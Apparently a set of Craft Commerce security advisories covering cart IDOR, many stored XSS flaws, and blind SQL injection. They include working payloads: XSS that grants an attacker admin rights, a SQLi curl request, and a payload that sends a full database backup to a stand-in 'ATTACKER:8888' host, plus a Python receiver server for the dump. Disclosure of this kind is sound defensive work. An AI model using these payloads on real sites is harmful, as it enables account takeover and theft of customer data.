An Insecure Direct Object Reference (IDOR) vulnerability exists in Craft Commerce’s cart functionality that allows users to hijack any shopping cart by knowing or guessing its 32-character number. This vulnerability enables the takeover of shopping sessions and potential exposure of PII.

Vulnerability Details

Root Cause

The CartController accepts a user-supplied number parameter to load and modify shopping carts. No ownership validation is performed - the code only checks if the order exists and is incomplete, not whether the requester has authorization to access it.

php // CartController.php:374-389 - actionLoadCart() public function actionLoadCart(): ?Response { $number = $this->request->getParam('number');

if ($number === null) { return $this->asFailure(Craft::t('commerce', 'A cart number must be specified.')); }

// No ownership check - returns any cart to any requester $cart = Order::find()->number($number)->isCompleted(false)->one();

// Cart is loaded into attacker's session without authorization ... }

php // CartController.php:606-616 - getCart() $orderNumber = $this->request->getBodyParam('number'); if ($orderNumber) { // Same issue - no ownership validation $cart = Order::find()->number($orderNumber)->isCompleted(false)->one(); // Returns cart to any requester who knows the number } ---

Attack Scenario

Prerequisites - Target Craft Commerce installation with active shopping carts - Knowledge of a victim’s cart number (32-character hex string)

Cart Number Acquisition Vectors

1. Referrer Header Leakage: Cart URLs shared externally expose the number 2. Browser History: Accessible on shared/compromised devices 3. Proxy/WAF Logs: Cart numbers logged in URL parameters 4. Social Engineering: Support tickets, screenshots containing cart URLs 5. Brute Force: While impractical for random targeting, feasible for targeted attacks against recently-created carts

---

Summary A stored XSS vulnerability exists when a user tries to update the Order Status from the Commerce Orders Table. The Order Status Name is rendered without proper escaping, allowing script execution to occur.

--- Proof of Concept Required Permissions - Admin access (to edit/create Order Statuses)

Steps to Reproduce 1. Log in with an admin account 2. Navigate to Commerce → Settings → Order Statuses 3. Create a new order status 4. Set the Name field to: html <img src=x onerror="alert('Order Statuses XSS')"> 5. Save the order status 6. Go to Commerce → Orders (make sure you placed any orders) 7. From the left panel, select any Order Status (e.g., New) 8. Select any order from the orders table → Click on the Gear Icon → then click "Update Order Status..." 9. Notice the XSS execution

Summary Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.

--- PoC Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage orders - Edit orders

Steps to reproduce 1. Log in to the control panel 2. Navigate to Commerce > Orders > Create a new order 3. Click on "Add a line item" to show the purchasables table 4. Intercept the AJAX request and modify the sort parameter as follows: http GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc 5. Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed): bash curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'

Impact With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j). - Modify or destroy data (drop tables, update records, alter schema).

Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the Craft Commerce Order details. Malicious JavaScript can be injected via the Shipping Method Name, Order Reference, or Site Name. When a user opens the order details slideout via a double-click on the order index page, the injected payload executes.

Reproduction Steps 1. Navigate to Commerce -> Store Management -> Shipping Methods. 1. Click "New Shipping Method". 1. In the Name field, enter the following XSS payload: html <img src=x onerror=alert('XSSShipping')> 1. Save the Shipping Method. 1. Place a new order or edit an existing order. 1. Set the order's Shipping Method to the one created in the previous steps. 1. Navigate to the Orders index page (/admin/commerce/orders). 1. Double-click the target order to open the details slideout. 1. Result: The XSS payload executes.

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Zone (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage shipping - An active administrator elevated session

Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Shipping Zones (/admin/commerce/store-management/primary/shippingzones). 3. Create a new shipping zone. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save & Go back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with the attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (shipping zones page). 4. Go back to the attacker account & notice it is now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored DOM XSS vulnerability exists in the "Recent Orders" dashboard widget. The Order Status Name is rendered via JavaScript string concatenation without proper escaping, allowing script execution when any admin visits the dashboard.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions

- Admin access (to edit/create Order Statuses)

Steps to Reproduce 1. Log in with an admin account 2. Navigate to Commerce → Settings → Order Statuses 3. Create new order status (e.g., "Pending") 4. Set the Name field to: html <img src=x onerror="alert('Order Statuses XSS')" hidden> 5. Save the order status 6. Go to Commerce Orders & make some orders with different statuses (e.g. "New" & "the malicious created status") 7. Go to the Dashboard (/admin/dashboard) & Add "Recent Orders" widget and pick the same 2 statuses for orders 8. Notice the XSS execution <img width="1491" height="568" alt="xss-execution-in-dashboard" src="https://github.com/user-attachments/assets/84e8b121-30b9-4029-93be-e90009b6897e" />

--- Technical Details

File: vendor/craftcms/commerce/src/templates/components/widgets/orders/recent/body.twig

Root Cause: value.name (the Order Status Name) is concatenated directly into the HTML string without sanitization. When JavaScript inserts this HTML into the DOM, any malicious tags/scripts in the name are executed.<img width="1780" height="858" alt="vulnerable-code" src="https://github.com/user-attachments/assets/b150ee9d-c072-4987-b506-81a29c23d84b" />

--- Mitigation Use Craft.escapeHtml() in the callback: javascript callback: function(value) { return '<span class="commerceStatusLabel"><span class="status ' + Craft.escapeHtml(value.color) + '"></span>' + Craft.escapeHtml(value.name) + '</span>'; }

Resources:

https://github.com/craftcms/commerce/commit/d94d1c9832a47a1c383e375ae87c46c13935ba65

Summary

Stored XSS via Product Type names. The name is not sanitized when displayed in user permissions settings.

The vulnerable input (source) is in Commerce (Product Type settings), but the sink is in CMS user permissions settings. Reporting to Commerce GHSA since the input originates here.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions (Attacker)

- Admin access (to edit Commerce settings)

Steps to Reproduce

1. Log in as attacker with admin permissions. 2. Go to Commerce -> Settings -> Product Types (/admin/commerce/settings/producttypes). 3. Create a new Product Type. 4. Set Name to: html <img src=x onerror="alert('XSS-ProductType')" hidden> 5. Save the Product Type. 6. Go to Users -> Edit any user -> Click on Permissions tab (/admin/users/{UserID}/permissions). 7. Alert fires instantly (when the Product Type checkbox renders).

Resources

https://github.com/craftcms/commerce/commit/7e1dedf06038c8e70dce0187b7048d4ab8ffb75c

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage shipping - An active administrator elevated session

Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Shipping Categories (/admin/commerce/store-management/primary/shippingcategories). 3. Create a new shipping category. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save & Go back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator:

1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (shipping categories page). 4. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator's browser. This occurs because the Tax Rates 'Name' field in the Store Management section is not properly sanitized before being displayed in the admin panel.

Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Rates (/admin/commerce/store-management/primary/taxrates). 3. Create a new tax rate. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Pick or create a Tax Category since it’s required to save the tax rate. 5. Click Save and you’ll be redirected back to the previous page. 6. Notice the alert proving JavaScript execution. <img width="1887" height="709" alt="poc-alert" src="https://github.com/user-attachments/assets/cbcebb85-dbc7-467c-aca1-7446a67918f2" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id:

html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 4. In another browser, log in as an admin & go to the vulnerable page (tax rates page). 5. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it's on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Tax Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Categories (/admin/commerce/store-management/primary/taxcategories). 3. Create a new tax category. 4. In the Name or Description field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you'll be redirected back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">

3. In another browser, log in as an admin & go to the vulnerable page (tax categories page). 4. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

References:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Name & Description fields in Tax Zones are not properly sanitized before being displayed in the admin panel.

Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Zones (/admin/commerce/store-management/primary/taxzones). 3. Create a new tax zone. 4. In the Name or Description field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you’ll be redirected back to the previous page. 5. Notice the alert proving JavaScript execution. <img width="1904" height="418" alt="poc" src="https://github.com/user-attachments/assets/09bd993b-550e-40fe-b2d7-1608e25fbc01" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: 3. html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">

4. In another browser, log in as an admin & go to the vulnerable page (tax zones page). 5. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

References:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the 'Address Line 1' field in Inventory Locations is not properly sanitized before being displayed in the admin panel.

Proof of Concept

Required Permissions - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage inventory locations - An active administrator elevated session

<img width="887" height="832" alt="req-perms" src="https://github.com/user-attachments/assets/7a9a5ef6-4fc3-4af1-8ded-08861ead0b7e" />

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Inventory Locations -> Default (/admin/commerce/inventory-locations/1). 3. In the Address Line 1 field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you'll be redirected back to the Inventory Locations page. 5. Notice the alert proving JavaScript execution. <img width="1814" height="606" alt="alert-poc" src="https://github.com/user-attachments/assets/f08aed21-a676-4dee-85a8-d195bab85685" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with the attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (Inventory Location page). 4. Go back to the attacker account & notice it now has admin status.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions

- General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders

Attacker Server Setup

To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as receiver.py on your attacker machine. 2. Run it: python3 receiver.py -- Change the port if needed.

<details>

<summary>Server Python Script</summary>

python #!/usr/bin/env python3 """ Usage: python3 receiver.py """

from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime

class Handler(BaseHTTPRequestHandler): def doOPTIONS(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.sendheader('Access-Control-Allow-Methods', 'POST') self.endheaders()

def doPOST(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.endheaders() contenttype = self.headers.get('Content-Type', '') if 'multipart/form-data' in contenttype: form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUESTMETHOD': 'POST', 'CONTENTTYPE': contenttype} ) if 'db' in form: filename = f"exfil{datetime.now().strftime('%Y%m%d%H%M%S')}.sql.zip" with open(filename, 'wb') as f: f.write(form['db'].file.read()) print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)") self.wfile.write(b"OK")

if name == 'main': print("[] Listening on http://0.0.0.0:8888") # change the port if needed HTTPServer(('0.0.0.0', 8888), Handler).serveforever()

</details>

Steps to Reproduce

1. Log in to the admin panel 2. Navigate to Commerce → Orders 3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it. 4. Edit the order 5. Change the order status, a new text field (Status Message) will appear once the status is changed - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses) 6. In the Status Message field, enter the XSS payload below 7. Save/Update the order 8. Log out & log in again with an admin account 9. Visit the order page (/admin/commerce/orders/{OrderID}) 10. XSS executes → Full database backup is triggered and exfiltrated 11. Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database.

XSS Payload (DB Exfiltration)

Note: Replace ATTACKER:8888 with your listener server. html <img src=x onerror="fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFTCSRFTOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})">

--- Technical Details (Vulnerable Code)

File: vendor/craftcms/commerce/src/templates/orders/history.twig Sink: {{ orderHistory.message | md }} Root Cause: The |md Twig filter (Markdown) processes the message but does not sanitize HTML tags.

--- Impact

The exfiltrated database backup includes, but is not limited to: - Usernames, emails, and password hashes. - Customer PII: Names, addresses, and complete order history. - Transaction records, customer profiles, and coupon codes. - GraphQL tokens. - 2FA recovery codes. - Potentially, payment gateway secrets (if stored directly instead of using environment variables).

Note: This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes.

--- Mitigation

Sanitize the message before rendering: twig {{ orderHistory.message | md | purify }}

Or escape HTML before Markdown processing: twig {{ orderHistory.message | e | md }}

Additionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place.

Resources:

https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c